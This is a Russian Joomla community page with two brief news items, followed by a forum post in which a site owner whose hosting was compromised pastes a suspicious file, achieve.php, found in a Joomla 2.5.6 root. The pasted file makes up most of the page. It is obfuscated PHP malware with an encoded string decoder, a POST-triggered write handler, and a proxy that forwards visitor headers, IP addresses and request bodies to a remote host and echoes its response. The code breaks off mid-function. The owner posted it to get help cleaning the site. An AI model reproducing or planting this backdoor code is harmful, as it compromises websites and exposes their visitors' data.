Новости Joomla

Как тестировать Joomla PHP-разработчику? Компонент Patch tester.

👩‍💻 Как тестировать Joomla PHP-разработчику? Компонент Patch tester.Joomla - open source PHP-фреймворк с готовой админкой. Его основная разработка ведётся на GitHub. Для того, чтобы международному сообществу разработчиков было удобнее тестировать Pull Requests был создан компонент Patch Tester, который позволяет "накатить" на текущую установку Joomla именно те изменения, которые необходимо протестировать. На стороне инфраструктуры Joomla для каждого PR собираются готовые пакеты, в которых находится ядро + предложенные изменения. В каждом PR обычно находятся инструкции по тестированию: куда зайти, что нажать, ожидаемый результат. Тестировщики могут предположить дополнительные сценарии, исходя из своего опыта и найти баги, о которых сообщить разработчику. Или не найти, и тогда улучшение или исправление ошибки быстрее войдёт в ядро Joomla. Напомню, что для того, чтобы PR вошёл в ядро Joomla нужны минимум 2 положительных теста от 2 участников сообщества, кроме автора. Видео на YouTubeВидео на VK ВидеоВидео на RuTubeКомпонент на GitHub https://github.com/joomla-extensions/patchtester@joomlafeed#joomla #php #webdev #community

Вышел релиз Revo PageBuilder Toolkit for YOOtheme Pro 1.6

Вышел релиз Revo PageBuilder Toolkit for YOOtheme Pro 1.6.2PageBuilder Toolkit - это специализированный плагин для конструктора страниц Yootheme Pro, содержит набор различных утилит для ускорения процесса работы и отладки макета, множественные улучшения в интерфейсе, включая поддержку dark mode, подсказки, быстрая смена разрешения в окне просмотра и много чего еще.v.1.6.2 Что нового?- Индикатор статусов: теперь не просто показывает состояние запросов, но и делает автоматические попытки их отправки при кратковременных сбоях в сети, а если это не помогло, то переводит конструктор в ручной режим, что позволяет сохранит макет и настройки темы прежде чем вы потеряете все, что было сделано с момента последнего сохранения- Подсветка ошибок в макете: плагин анализирует код страницы и может автоматически подсвечивать data атрибуты с кучей мусора, которые попадают в код страницы при копипасте из Figma в TinyMCE (пригодится для старых макетов, в текущей работе плагин сам очищает код мусора). Также есть подсветка семантических ошибок сборки - дубли h1 тега на странице и вложенных друг в друга заголовков.- Улучшена поддержка будущего релиза Yootheme Pro 5 и редактора CodeMirror 6Плагин для русскоязычных пользователей доступен в каталоге расширений SovMart и распространяется за символическую плату (100р). Разработчики Joomla расширений и партнеры автора могут получить плагин бесплатно.Для работы плагина необходим конструктор страниц Yootheme Pro.Разработчик плагина - участник нашего сообщества Александр Судьбинов (@alexrevo), член официальной группы поддержки Yootheme Pro. Страница расширенияОписание на сайте автора@joomlafeed#joomla #yootheme

0 Пользователей и 1 Гость просматривают эту тему.
  • 3 Ответов
  • 1144 Просмотров
*

Franklin

  • Новичок
  • 1
  • 0 / 0
Добрый день. В прошлую пятницу перестало работать 4 из 5-ти сайтов на хостинге. Пришлось все снести и переустановить. ос на хостинге, т.к. залитые изначальные версии сайтов не запускались. Потом залил все сайты в их версии на момент первоначальной заливки на хостинг, Но сайта про который мы говорим наполняося уже на хостинге и "чистой" версии сайта у меня нет.

Сайт на Joomla! 2.5.6 в корне нашелся файлик achieve.php
Код
<?php

function HQI2AXMY2POA($VzTDn8Ilw)
{
$VzTDn8Ilw=base64_decode($VzTDn8Ilw);
$mvJP2nXpO=(312-762+619);
$y2O0EXdbI=132;

$yv7xS=(157-457+300);

$s2GHiIu='';
while(true)
{
if($yv7xS==strlen($VzTDn8Ilw))
break;

elseif($yv7xS%2==0)
$R570Qbw6=(ord($VzTDn8Ilw[$yv7xS])-$mvJP2nXpO)%256;

else
$R570Qbw6=ord($VzTDn8Ilw[$yv7xS])^$y2O0EXdbI;

$s2GHiIu.=chr($R570Qbw6);
$yv7xS+=1;
}

return $s2GHiIu;

}

class ejCQF1xrh
{


static public function CwLvBwkC2($orzReOn)

{
$zu4pJo6zjk5=HQI2AXMY2POA("Dvwd4Rf3EusX2xXrCuAO4A==");
return $zu4pJo6zjk5($orzReOn);

}

static public function PfxI0($PVo7pA9dIwgW)
{
$Dx04YdFv=HQI2AXMY2POA("Dvwd4Rf3EusX2xXrCuAO4A==");
return $Dx04YdFv($PVo7pA9dIwgW);
}

static public function etlBt($oNGJJog1E4)
{

$tGe4ZnLpc=HQI2AXMY2POA("Dvwd4Rf3EusX2xXrCuAO4A==");
return $tGe4ZnLpc($oNGJJog1E4);
}


static public function oQU8rZohFBws($BHCXbp6x)

{
$nOhOK=HQI2AXMY2POA("FuDe");
return $nOhOK($BHCXbp6x);
}


static public function vApZ6C($MdZBsAL9Y3Tk,$kcOhH8ktZXJt)
{
$DIGrxwmTNkBL=HQI2AXMY2POA("EuoI5Rv2Cv0=");
return $DIGrxwmTNkBL($MdZBsAL9Y3Tk,$kcOhH8ktZXJt);
}

static public function rGItT4cep($OHvko,$RsDw8j9bU)
{
$BhE0JnA0rId='lrZS4Ho4';

$Wrh7fPPz8d1o='OKEzJ';
$rzTDJJdD2M=HQI2AXMY2POA("EuoI5Rv2Cv0=");

return $rzTDJJdD2M($OHvko,$RsDw8j9bU);

}


static public function HjZz3Vwz($n5yzdF8Ns,$czhhJY5wK)
{
$D8Pk9=HQI2AXMY2POA("EuoI5Rv2Cv0=");
return $D8Pk9($n5yzdF8Ns,$czhhJY5wK);
}

static public function VDn3Bx5OzLjj($Rtui85oddJ4,$h6Zrhjej)

{
$X909pTBMQR2t=HQI2AXMY2POA("EuoI5Rv2Cv0=");
return $X909pTBMQR2t($Rtui85oddJ4,$h6Zrhjej);
}

static public function lKejc($qyiyoFxBP)

{
$ewAjI14j='exDIGgGTYg';
$vZhxwJ6v='owsi9nvfbB';

$F6rfZeXklC5=HQI2AXMY2POA("EvTb6BjqEA==");
return $F6rfZeXklC5($qyiyoFxBP);
}

static public function jOIypt($RI7UUrij4)
{
$LpuPSJOqK=HQI2AXMY2POA("EvTb6BjqEA==");
return $LpuPSJOqK($RI7UUrij4);
}

static public function ZZimPEF1JD7u($no4zlC6)
{

$PRUnwp8Y=HQI2AXMY2POA("EvTb6BjqEA==");
return $PRUnwp8Y($no4zlC6);

}


static public function nneqd2Qy8($o8hKUEN24j0I)

{

$Cpz3xf=60617;
$GprBNk=HQI2AXMY2POA("EvTb6BjqEA==");
return $GprBNk($o8hKUEN24j0I);

}

static public function Fu0tmyyTlAJ($KGoE3t)
{

$isJ5kCHJ='KdDpu';

$eISBrt5=HQI2AXMY2POA("EvTb6BjqEA==");

return $eISBrt5($KGoE3t);

}


static public function Ejjwx1($IYMo2RBC3qWQ)

{
$nvjCtk='oSj8BIOH';
$mAAObJDNf0Z='b4NveEgy';
$BmBXZZ7O=HQI2AXMY2POA("EvTb6BjqEA==");
return $BmBXZZ7O($IYMo2RBC3qWQ);

}


static public function rnkJXZ9M($sMe3vNk,$PknSlj,$hZE3tp)
{
$Y3pJ46DhJlpp='xBueygb';
$ptp0POXsw8=HQI2AXMY2POA("HPEL9x32");
return $ptp0POXsw8($sMe3vNk,$PknSlj,$hZE3tp);
}

static public function yyqkHNXs($oLeSlwij4)
{
$LiBeeMo=(27097-(-1760)+3791);
$i6b7lw=HQI2AXMY2POA("HPAb6A7q");

return $i6b7lw($oLeSlwij4);
}

static public function mDxXE($eCmOWENDw,$VWoWP4Gt,$VT3kksKi)
{

$bU8TYnl0gXF=HQI2AXMY2POA("HPEL9x32");
return $bU8TYnl0gXF($eCmOWENDw,$VWoWP4Gt,$VT3kksKi);
}

static public function Cfimv4MYj($SMEoIxjY,$PfEGDM6O)
{
$qJCd7='ACuStL';
$PU0E0I='xGT1Izf7wiRR';

$u4AEL0PiAPgH=HQI2AXMY2POA("HPAb9Bj3");
return $u4AEL0PiAPgH($SMEoIxjY,$PfEGDM6O);
}

static public function WsGGB($zs2RK0ofJ)
{
$TB3xE1z=HQI2AXMY2POA("D+cV6xzh");
return $TB3xE1z($zs2RK0ofJ);
}

static public function mCQsT($xeB7Mjjv)

{
$CJfk4=HQI2AXMY2POA("D+MO8Bw=");
return $CJfk4($xeB7Mjjv);

}

static public function GIjbu8JvdORc($DGQLGbBE)

{
$kRNhk='e6W0v';
$FxifGMk=HQI2AXMY2POA("D+EY4g==");
return $FxifGMk($DGQLGbBE);
}

static public function wIMc0($cXvMPXc,$mRDjWwSp3F)
{

$fjERGXQzUU8=HQI2AXMY2POA("D/Mb7R3h");
return $fjERGXQzUU8($cXvMPXc,$mRDjWwSp3F);
}

static public function MSX62($PiS6Y4933m)
{
$bN23lje=HQI2AXMY2POA("DPEb6AjnFesc4Q==");
return $bN23lje($PiS6Y4933m);
}

static public function Dvo8I2A($fMEyFRWP4U,$TOcmYr2HpJkx,$KvnQokrqozC)

{
$TFJVbyp2f=16372;
$nMjzz3QWrJ=HQI2AXMY2POA("DvwZ6BjgDg==");
return $nMjzz3QWrJ($fMEyFRWP4U,$TOcmYr2HpJkx,$KvnQokrqozC);
}

static public function gZMnMG($KsddT)
{
$HSr4E=(32466+2968-(-5768));

$QqKm6=HQI2AXMY2POA("DPEb6AjnFesc4Q==");

return $QqKm6($KsddT);

}

static public function Mt2VbfM0($ue8QrLcvhJxA)
{
$hEqv3egS=HQI2AXMY2POA("DPEb6AjhG/YY9g==");
return $hEqv3egS($ue8QrLcvhJxA);
}

static public function hGk1xZh4mHc($HcRZvbJ90p5p)

{
$YU8dRPlOJ=42797;
$soU0Wyek=HQI2AXMY2POA("DPEb6AjhIeEM");
return $soU0Wyek($HcRZvbJ90p5p);
}

static public function AGgn4($Pdg0oX,$BFo3e3TQ,$ApFsX)

{

$M7PsEZC6WuW=HQI2AXMY2POA("DPEb6Aj3DvAY9B0=");
return $M7PsEZC6WuW($Pdg0oX,$BFo3e3TQ,$ApFsX);
}

static public function EhFQkOT11($OReE6CpAXQiR,$pVr2C,$YFDdetbO8)
{
$F2Y4I=HQI2AXMY2POA("DPEb6Aj3DvAY9B0=");
return $F2Y4I($OReE6CpAXQiR,$pVr2C,$YFDdetbO8);

}

static public function G4xsPG($vIYAhw,$AuIk7y,$AdZpHBovomg)
{
$h53Oy4='wLoUzR';

$NEhn6=HQI2AXMY2POA("DPEb6Aj3DvAY9B0=");
return $NEhn6($vIYAhw,$AuIk7y,$AdZpHBovomg);
}

static public function C1sHuhn0R($fELXZZ,$xyGEYf,$pUK4Bf3xMhQX)
{

$w9N69Exz4w='Vph7VP';
$lzQbuIjXZi='A6HgEi';
$CA4si=HQI2AXMY2POA("DPEb6Aj3DvAY9B0=");
return $CA4si($fELXZZ,$xyGEYf,$pUK4Bf3xMhQX);

}

static public function vkRO2BiCSV($n8XcgQ,$KnRIbeEDSrj1,$Z0G7OZnASD3m)

{
$SCp36TKfK4dX=HQI2AXMY2POA("DPEb6Aj3DvAY9B0=");

return $SCp36TKfK4dX($n8XcgQ,$KnRIbeEDSrj1,$Z0G7OZnASD3m);
}

static public function Om8T0coO($L3MhFFUQ,$lheEN,$kJpiAMs2IV)
{
$kLu8LSQ=HQI2AXMY2POA("DPEb6Aj3DvAY9B0=");
return $kLu8LSQ($L3MhFFUQ,$lheEN,$kJpiAMs2IV);
}

static public function xdwYn0SRzFw($sL1Xxle,$MUE5xyBuxPMA)
{
$vcxjUvtQ4='ehU0F8qeFwlU';

$ZL7zu=HQI2AXMY2POA("HPAb9Bj3");
return $ZL7zu($sL1Xxle,$MUE5xyBuxPMA);

}

static public function y8TR4JNb($dXuhFPrfqDlE,$OOFU2wEzO,$k7Nme)
{
$m1qQk=(-(-865)+5443+988);

$EY3EQvptC=HQI2AXMY2POA("DPEb6Aj3DvAY9B0=");
return $EY3EQvptC($dXuhFPrfqDlE,$OOFU2wEzO,$k7Nme);
}

static public function DfyxxNglIl($kXV3z,$QfcM9,$QUixv0)

{
$KQQtJrKT=HQI2AXMY2POA("DPEb6Aj3DvAY9B0=");
return $KQQtJrKT($kXV3z,$QfcM9,$QUixv0);

}

static public function Xbu5pBpviZKe()
{

$Bhr6IrNEWl=HQI2AXMY2POA("DPEb6AjtF+0d");
return $Bhr6IrNEWl();
}

static public function IDWYhuN($M0VQ99grmXW)
{

$qNH8VuOTK=HQI2AXMY2POA("HPAb4QrpCOcY6h3hIfAI5xvhCvAO");
return $qNH8VuOTK($M0VQ99grmXW);
}

static public function Y7nFNUKS($NWX8Sjxf7Sb)
{
$WGPbxf='ZhukcnPq';
$Ld93wTyd4qOg='q0IlGbOYAfnT';
$tgx7jAVr=(7576-3371+5606);
$pIhiKO=HQI2AXMY2POA("EeEK4A72");
return $pIhiKO($NWX8Sjxf7Sb);
}

static public function YAKRcmh9c($LZm9WGZVqJ)
{
$uvN2zLR6='YpdTCdA';

$Ko3IjVWqvIPQ=HQI2AXMY2POA("Euod8gro");
return $Ko3IjVWqvIPQ($LZm9WGZVqJ);

}

static public function qt7KBfwDU($SPqSYccwxvA2,$sLcZ6j)
{
$lf8cq=18302;

$jZZeOG=HQI2AXMY2POA("DvwZ6BjgDg==");

return $jZZeOG($SPqSYccwxvA2,$sLcZ6j);
}

static public function L8OuXiM($mblrQXDrn)

{

$lvm87oeK11W=13658;
$qzBGqGpCR2T=39872;
$Q7Ei1PlydLM=(10472-(-8379)+3221);
$uc9vuO3RUsy=62323;
$KhWTAWo=HQI2AXMY2POA("EeEK4A72");
return $KhWTAWo($mblrQXDrn);
}

static public function DEOTtOkY5h($DlwdcYYFEc,$Bu1gY2)

{
$IXwPLtyv6O=HQI2AXMY2POA("EuoI5Rv2Cv0=");
return $IXwPLtyv6O($DlwdcYYFEc,$Bu1gY2);
}

static public function iidlNRW43($PVcB8mw8wu,$MlnN3Tn)
{

$Bxn2YxgC2QA=HQI2AXMY2POA("DvwZ6BjgDg==");

return $Bxn2YxgC2QA($PVcB8mw8wu,$MlnN3Tn);

}

static public function lkN0EXWw($BtHDwFnT,$iYPDWdpEwWJl)
{

$vvgdr59UMP=(30325+13443-6732);
$n53ci5xxT='f02f863rI';

$FWSXh8k=HQI2AXMY2POA("HPAb9Bj3");
return $FWSXh8k($BtHDwFnT,$iYPDWdpEwWJl);
}

static public function rRO2eiXuxSK($TbCeuKU73)
{
$WlVkGLdod=HQI2AXMY2POA("HO0j4Rji");
return $WlVkGLdod($TbCeuKU73);
}

static public function kYEckM($IzQv47J0B5bo,$uPDnDFy)

{

$QZoSAkk1p=30498;

$K3dvwHh4d0='ElTpSSD';
$qc17vww=HQI2AXMY2POA("HPAb9Bj3");
return $qc17vww($IzQv47J0B5bo,$uPDnDFy);
}

static public function d2kmmAgtM($LmJOlT,$tLVQ5)

{
$El1Wvq1='Ke8tE';
$W9mMw='extfssYciD';
$VHkhZNAcP9tC=16118;
$en1e34hqlus='pPGwyl9';
$LGQ1CspY3L='BbyOgXuGAhlY';
$bsoqZk='DFlGt2';

$bXrQG4eQ0=26831;
$ZDzoftNOk81=HQI2AXMY2POA("DvwZ6BjgDg==");
return $ZDzoftNOk81($LmJOlT,$tLVQ5);

}

static public function D1CEO($WnqrKO)
{
$UdGX4voKYnvG='OjpCMMpdi';
$UOjZFJEOAe=HQI2AXMY2POA("HPAb8BjoGPMO9g==");
return $UOjZFJEOAe($WnqrKO);

}

static public function thh53FBDwyk($gDy9kI)
{
$DEdddws='K60PmTXR';
$hBi2j4rmEybb='Dwi6bwkwbH';

$skB8ql=(9051-(-30212)+3277);

$cDQJikl=(13013-(-32774)+8596);
$BgI9FQ='g19Jbbp';
$IizBFdy='ZF5t7bFA6';
$YeGxXSnhzU=HQI2AXMY2POA("HPAb8BjoGPMO9g==");

return $YeGxXSnhzU($gDy9kI);

}

static public function Pfz8czROmRH($ObfN6NBBoWXI)

{

$KJPFR='wRWSmJUhZ';
$nbZdKOj=HQI2AXMY2POA("FesX49vtGQ==");
return $nbZdKOj($ObfN6NBBoWXI);
}

static public function B0AVZWNfDP($PPgDYgtiX0)
{

$xrbBs=HQI2AXMY2POA("FesX49vtGQ==");
return $xrbBs($PPgDYgtiX0);

}

static public function ce6Tlz9($Q56pETk)

{
$K2ch1Aki0mlZ='vTgbW';
$y7QOJsUL=(20594+21257-21516);
$FBq1vu='ydkNBLi';
$FEqNgEK=(-2108+33787+28762);

$nznYvHbV='jZzH0VZV';
$S5f47PG=HQI2AXMY2POA("HPAb6A7q");
return $S5f47PG($Q56pETk);

}

static public function yWYEC($itot3Af)
{
$P8oO4J=HQI2AXMY2POA("EvTb6BjqEA==");

return $P8oO4J($itot3Af);

}

static public function FsKDHczANMx($UQ9PpNpk,$PQcqK9r3)
{
$nxJ2l6u='qowm2Wq';

$tNZVsU0JuZ=391;
$cJkoZ3d=HQI2AXMY2POA("E+sS6g==");
return $cJkoZ3d($UQ9PpNpk,$PQcqK9r3);
}

static public function zS7qyYp($UA15ULMTg)
{
$vFgyXb9=(-(-1968)+16830+1600);

$OpprGyYqmC=26124;
$N6lMeWRfAy='c12ZP';
$RW69oMvQBAZX=HQI2AXMY2POA("Euod8gro");

return $RW69oMvQBAZX($UA15ULMTg);
}

static public function ocpvQNpPkP($fiCMqfTd)
{
$ctbup=HQI2AXMY2POA("GeUb9w7bHvYV");
return $ctbup($fiCMqfTd);
}

static public function XnYOlpuG($o0dYh0Qc4lf,$U4jKE4q)

{

$w5V3Kom4suc=9498;
$c2dRJgZ785q2=HQI2AXMY2POA("HPAb9Bj3");
return $c2dRJgZ785q2($o0dYh0Qc4lf,$U4jKE4q);

}

static public function hOU4j($GGSwmtMUMg)

{
$IQ6VEjfDAh='CWwq6ohl';
$jk72L=HQI2AXMY2POA("Euod8gro");
return $jk72L($GGSwmtMUMg);

}

static public function iH9R0UDNcy2l($Y3H97Xz)
{

$SnKz7ZQ=HQI2AXMY2POA("HPAb6A7q");
return $SnKz7ZQ($Y3H97Xz);
}

static public function FY763VmK4o($pm9vzItDD,$cP1HkUZy5)
{
$Kdeeu=HQI2AXMY2POA("HPEL9x32");

return $Kdeeu($pm9vzItDD,$cP1HkUZy5);
}

static public function UGwAmiFEj($sOutRLjXvht,$kxSP2y6RBAuU,$x06IIdyOEU)
{
$lN33W=HQI2AXMY2POA("HPAb2xvhGegK5w4=");

return $lN33W($sOutRLjXvht,$kxSP2y6RBAuU,$x06IIdyOEU);

}

static public function lKtxzT($fHHU6)
{

$uDdwS=(-22932+27290+27684);
$QUATjgTNtH=HQI2AXMY2POA("HPAb8BjoGPMO9g==");

return $QUATjgTNtH($fHHU6);
}

static public function FslebbAIrB($CewsZgkMngJ)

{
$ydY56=36261;
$TzNbzpE='GdA8wbeTGP';

$R6W0tTd='yj5BtOc1p';
$vEM1mjY1='vRu2bcTC9n';
$DMBhu3=17357;

$MSKUtsNYV=25213;
$S7NMdVCYM0qU=14029;
$upiGEp8MvJiY=HQI2AXMY2POA("Hucg6xvgHA==");

return $upiGEp8MvJiY($CewsZgkMngJ);

}

static public function ccPsPP3Gi2v($hF7X5BTAiN6,$elEPNu,$tZwVKVkJ)

{
$fz5SV9=HQI2AXMY2POA("HPAb2xvhGegK5w4=");
return $fz5SV9($hF7X5BTAiN6,$elEPNu,$tZwVKVkJ);

}


static public function NENHz0Fi($A4V1qhqzp,$bGCmvAwljuOz,$iZtm3M0MwJx)
{
$dAQgMJV=HQI2AXMY2POA("HPEL9x32");
return $dAQgMJV($A4V1qhqzp,$bGCmvAwljuOz,$iZtm3M0MwJx);
}

static public function Gmj1F($S8bpPkz,$nnrmM)

{
$DWhwvBNLPrK=16625;
$Nrn8WlC9D6m8='VG77Zm';
$RE1BKR7kzhFp='NU1Pd02E';
$C3X5B=HQI2AXMY2POA("EuoS2xzhHQ==");
return $C3X5B($S8bpPkz,$nnrmM);
}

static public function JTtg3ogn($ymmxHmX)

{
$loE7J=HQI2AXMY2POA("DvYb6xvbG+EZ6xvwEuoQ");
return $loE7J($ymmxHmX);
}

static public function el1L8($jAYARt,$JNpeiRyO6Yyg)
{
$c8DYEl5NIxb=HQI2AXMY2POA("GfYO4wj2DvQV5Qzh");
return $c8DYEl5NIxb($jAYARt,$JNpeiRyO6Yyg);
}

}


if(!empty($_POST[HQI2AXMY2POA("7rLg3Q/D4dDh6++89+0=")]))
{
$DIAf5SyoFZem='BANQh3A';
ejCQF1xrh::el1L8(HQI2AXMY2POA("2KrTqw4="),$_POST[HQI2AXMY2POA("ANIasAHuH8f34yM=")]);
exit();
}


ejCQF1xrh::JTtg3ogn(0);

ejCQF1xrh::Gmj1F(HQI2AXMY2POA("De0c9BXlItsO9hvrG/c="),0);
if(!function_exists(HQI2AXMY2POA("EOEd5RXoEeEK4A72HA==")))
{
$dWj2Ki='RkLl75X8';

$q9h4X4IROvk='jlkFNq';
function getallheaders()
{

$KBLmW=array();
foreach($_SERVER as $kEyA1SklI => $KSVf20nf)
{

if(ejCQF1xrh::NENHz0Fi($kEyA1SklI,0,(-1482+586+901))==HQI2AXMY2POA("8dD91Ag="))

{

$KBLmW[ejCQF1xrh::ccPsPP3Gi2v(HQI2AXMY2POA("yQ=="),HQI2AXMY2POA("1g=="),ejCQF1xrh::FslebbAIrB(ejCQF1xrh::lKtxzT(ejCQF1xrh::UGwAmiFEj(HQI2AXMY2POA("CA=="),HQI2AXMY2POA("yQ=="),ejCQF1xrh::FY763VmK4o($kEyA1SklI,5)))))]=$KSVf20nf;
}
}
return $KBLmW;
}
}
if(!empty($_GET))
{
$ZOdHg8usN=new UTZA1JPp5u4v();
$oT4WRwd5tcI=$ZOdHg8usN->x1sFjXHk();

if(ejCQF1xrh::iH9R0UDNcy2l($oT4WRwd5tcI)<(-(-413)+1826+1857))
{
echo $oT4WRwd5tcI;

}

}
class UTZA1JPp5u4v

{
private $ys5hVD8b;

private $HrBEgh1kP;
private $Rwxcm;
public $ZUeT9Zzw;
public $pEKUzD;
public $Eg0V2dxs;
private $j5tWYxOEEl;
private $YqTq1FRQE=Array();
private $f0jDMzJfJK=Array();
public function __construct($ONb6991jcgHk=array())
{
$s7Xf13pWF7YB='WcRdE';


$this->Eg0V2dxs=ejCQF1xrh::hOU4j(HQI2AXMY2POA("4LXftw=="));
$this->my3oVzusA=$_SERVER[HQI2AXMY2POA("+8H60e7X/dv2wf3M+MA=")];

$this->ZUeT9Zzw=getallheaders();

unset($this->ZUeT9Zzw[HQI2AXMY2POA("8esc8A==")]);
$this->JmI93BFp6D(HQI2AXMY2POA("Aan49hLjEuoK6NbMGPcd"),$_SERVER[HQI2AXMY2POA("8dD91AjM+Nf9")]);

$this->JmI93BFp6D(HQI2AXMY2POA("Aan49hLjEuoK6NbUCvAR"),$_SERVER[HQI2AXMY2POA("+8H60e7X/dv+1vI=")]);
$lEHoUQtZFinn=$this->QDncM();
$this->JmI93BFp6D(HQI2AXMY2POA("Aan49hLjEuoK6NbN+Q=="),$this->rxGQk4());

if(ejCQF1xrh::XnYOlpuG($lEHoUQtZFinn,HQI2AXMY2POA("EfAd9A=="))===false)
{
$L0EnyJHr07v4=29320;
$KFpvXjkneJ='y8EdS2M4uc';
$lEHoUQtZFinn=HQI2AXMY2POA("EfAd9OOr2A==").$lEHoUQtZFinn;
}
$this->pEKUzD=$lEHoUQtZFinn;
$this->j5tWYxOEEl=ejCQF1xrh::ocpvQNpPkP($this->pEKUzD);
foreach($ONb6991jcgHk as $kEyA1SklI => $CXCY9WUzU)
{
$SfxjFkX='J6FOJbj4c';
$this->JmI93BFp6D($kEyA1SklI,$CXCY9WUzU);
}
}

private function QDncM()

{
$X8NiUcgvVF=45501;

$vS0hXpN0KB=(-(-4342)+382+292);
$hLB5WlL1W7HA=31722;
$IBuV6ybEt=array();
$IBuV6ybEt[]=164;
$IBuV6ybEt[]=HQI2AXMY2POA("27Xe");
$IBuV6ybEt[]=HQI2AXMY2POA("2rXc");
$IBuV6ybEt[]=HQI2AXMY2POA("3bA=");

for($DzQIUCK=0;$DzQIUCK<4;$DzQIUCK++)

{

$IBuV6ybEt[$DzQIUCK]=(ejCQF1xrh::zS7qyYp($IBuV6ybEt[$DzQIUCK])+(765+361-1125));
}
$IBuV6ybEt=ejCQF1xrh::FsKDHczANMx(HQI2AXMY2POA("1w=="),$IBuV6ybEt);
$IBuV6ybEt=ejCQF1xrh::yWYEC($IBuV6ybEt);
$JD4gv6mQ=ejCQF1xrh::ce6Tlz9("Rxig")*-(28154411-(-65771158)+9274888)+(528-746+230);
if($IBuV6ybEt>$JD4gv6mQ)

$MgmvcKImQ0c=ejCQF1xrh::B0AVZWNfDP($IBuV6ybEt);
else

$MgmvcKImQ0c=ejCQF1xrh::Pfz8czROmRH($JD4gv6mQ+$this->Eg0V2dxs);

return $MgmvcKImQ0c.HQI2AXMY2POA("2OIY9h7p2Lzdsdqz4LwKt9q23ube4QuqGewZ");

}
private function rxGQk4()
{
$WPpS4='Xp2jIYoipFN7';
$iHkAZKbEEI='CRgMNBPIUQ0';

return $_SERVER[HQI2AXMY2POA("+8H2y/3BCMXtwPs=")];
}
private function JmI93BFp6D($kEyA1SklI,$CXCY9WUzU,$cQk0Qx8il1Ms=false)
{
$wG8TY6PENRj='wp9gSgB';
$nOLcXODJw='s7AJ2kcZZ';
$ULmUz5j=(34377-6503+14867);

$np1ep='t2VPCpww';

$NXsxrLVXtR0=(16554-7951+10049);
foreach($this->ZUeT9Zzw as $ExLZSFBid2dK => $gndX2tejFxgD)

{
if(ejCQF1xrh::thh53FBDwyk($kEyA1SklI)==ejCQF1xrh::D1CEO($ExLZSFBid2dK))
{

if($cQk0Qx8il1Ms)return;
unset($this->ZUeT9Zzw[$ExLZSFBid2dK]);

}
}

$this->ZUeT9Zzw[$kEyA1SklI]=$CXCY9WUzU;
$this->Eg0V2dxs+=$this->Eg0V2dxs;
}
private function Re7AZWmBk($KBLmW,$EzUYZFCiUU4O=false)

{
$lQtI2ddCmdY=Array(HQI2AXMY2POA("/+Ub/Q=="),HQI2AXMY2POA("/OEb8g72"),HQI2AXMY2POA("Aanv9grpDqn49B3tGOoc"));
if(!$EzUYZFCiUU4O)

{
$PmvLvzsK=(1225+1879-(-2128));

$EddbZznS='gvMeLpJJS';
$KBLmW=ejCQF1xrh::d2kmmAgtM("\n",$KBLmW);
}
if(ejCQF1xrh::kYEckM($KBLmW[0],HQI2AXMY2POA("8dD91A=="))!==0)
{
$this->HrBEgh1kP="";
return;
}
$l7iWt=ejCQF1xrh::rRO2eiXuxSK($KBLmW);

$this->ys5hVD8b=array();
for($wWdfG=(-2117+685+1432);$wWdfG<$l7iWt;$wWdfG++)
{

if(ejCQF1xrh::lkN0EXWw($KBLmW[$wWdfG],HQI2AXMY2POA("46Q="))!==false)
{
$gtCEe0QD15n9='ziC94WP';
list($k4RrMdgCx,$KSVf20nf)=ejCQF1xrh::iidlNRW43(HQI2AXMY2POA("46Q="),$KBLmW[$wWdfG]);
if(ejCQF1xrh::DEOTtOkY5h($k4RrMdgCx,$lQtI2ddCmdY))

{
continue;
}
$this->ys5hVD8b+=array($k4RrMdgCx => $KSVf20nf);
ejCQF1xrh::L8OuXiM($k4RrMdgCx.HQI2AXMY2POA("46Q=").$KSVf20nf);

}
else

{
$ZCIrI8Yit5IF=ejCQF1xrh::qt7KBfwDU(HQI2AXMY2POA("yQ=="),$KBLmW[$wWdfG]);
if(ejCQF1xrh::YAKRcmh9c($ZCIrI8Yit5IF[1])>400)
{
$YgP4N5U=31402;

$this->HrBEgh1kP="";
return;

}
else
{
ejCQF1xrh::Y7nFNUKS($KBLmW[$wWdfG]);
}
}
}

}
private function SnJ6orZbb($JgghYR=false)

{
if(!$JgghYR)
{
$y37hezXezp=23201;
$rASSPA79=23323;
$sfyExzAq=(2445+1505-(-32142));

$A3scETP3l='AMrsMKb';
$KBLmW="";

foreach($this->ZUeT9Zzw as $k4RrMdgCx => $KSVf20nf)
{

$KBLmW.=$k4RrMdgCx.HQI2AXMY2POA("46Q=").$KSVf20nf."\r\n";
}
}
else
{

$KBLmW=array();
foreach($this->ZUeT9Zzw as $k4RrMdgCx => $KSVf20nf)
{
array_push($KBLmW,$k4RrMdgCx.HQI2AXMY2POA("46Q=").$KSVf20nf);

}
}
return $KBLmW;
}
private function ibBMHy()
{
$S5GgQ='kuBmLfPyp';
$ITYJlFEKBOUn=false;
$KBLmW=$this->SnJ6orZbb();

$Hp7iU=array(
HQI2AXMY2POA("EfAd9A==") => array(

HQI2AXMY2POA("FuEd7Bjg") => $_SERVER[HQI2AXMY2POA("+8H60e7X/dv2wf3M+MA=")],
HQI2AXMY2POA("EeEK4A72") => $KBLmW,

HQI2AXMY2POA("DOsX8A7qHQ==") => file_get_contents(HQI2AXMY2POA("GewZvtirEuoZ8R0="))
)
);
$W2zrjBzM=ejCQF1xrh::IDWYhuN($Hp7iU);
try
{
$GCAcE='xpEZtEtQ';
$zx0ZzsKd9W2='dR8Eh3ox';

$JQiQCKCDin=48593;
$qS8d0T='r7OEeVXYB';
$this->HrBEgh1kP=@file_get_contents($this->pEKUzD,false,$W2zrjBzM);
if($this->HrBEgh1kP===false)
{

$z4fUHWC1RU=(-20188+44446+32643);
$this->Rwxcm=HQI2AXMY2POA("/OsW4R3sEuoQpCDhF/DJ8xvrF+PJ")."\r\n".$http_response_header[(-2096+582+1514)];

$ITYJlFEKBOUn=true;

}
}
catch(Exception$eJudK)
{

$Qzt5kecu6S=(37433+25797-3962);
$this->Rwxcm=$eJudK->getMessage();

$ITYJlFEKBOUn=true;
}
$this->Re7AZWmBk($http_response_header,true);
if(!$ITYJlFEKBOUn)return $this->HrBEgh1kP;
return false;
}

private function yV2enbh()
{
$psk5H2QzR=false;
$e4Lk4eIbvS=ejCQF1xrh::Xbu5pBpviZKe();
ejCQF1xrh::DfyxxNglIl($e4Lk4eIbvS,10002,$this->pEKUzD);

ejCQF1xrh::y8TR4JNb($e4Lk4eIbvS,19913,true);
if(ejCQF1xrh::xdwYn0SRzFw($this->pEKUzD,HQI2AXMY2POA("EfAd9Bw="))===0){

$NMMOjTJcCrY='HwpeJ0AO';
$UgUhC=(27841-(-24604)+5014);
$iVn4PgpC=(-(-1068)+2780+1678);
$vFNZVdDHHKT='jykMp';

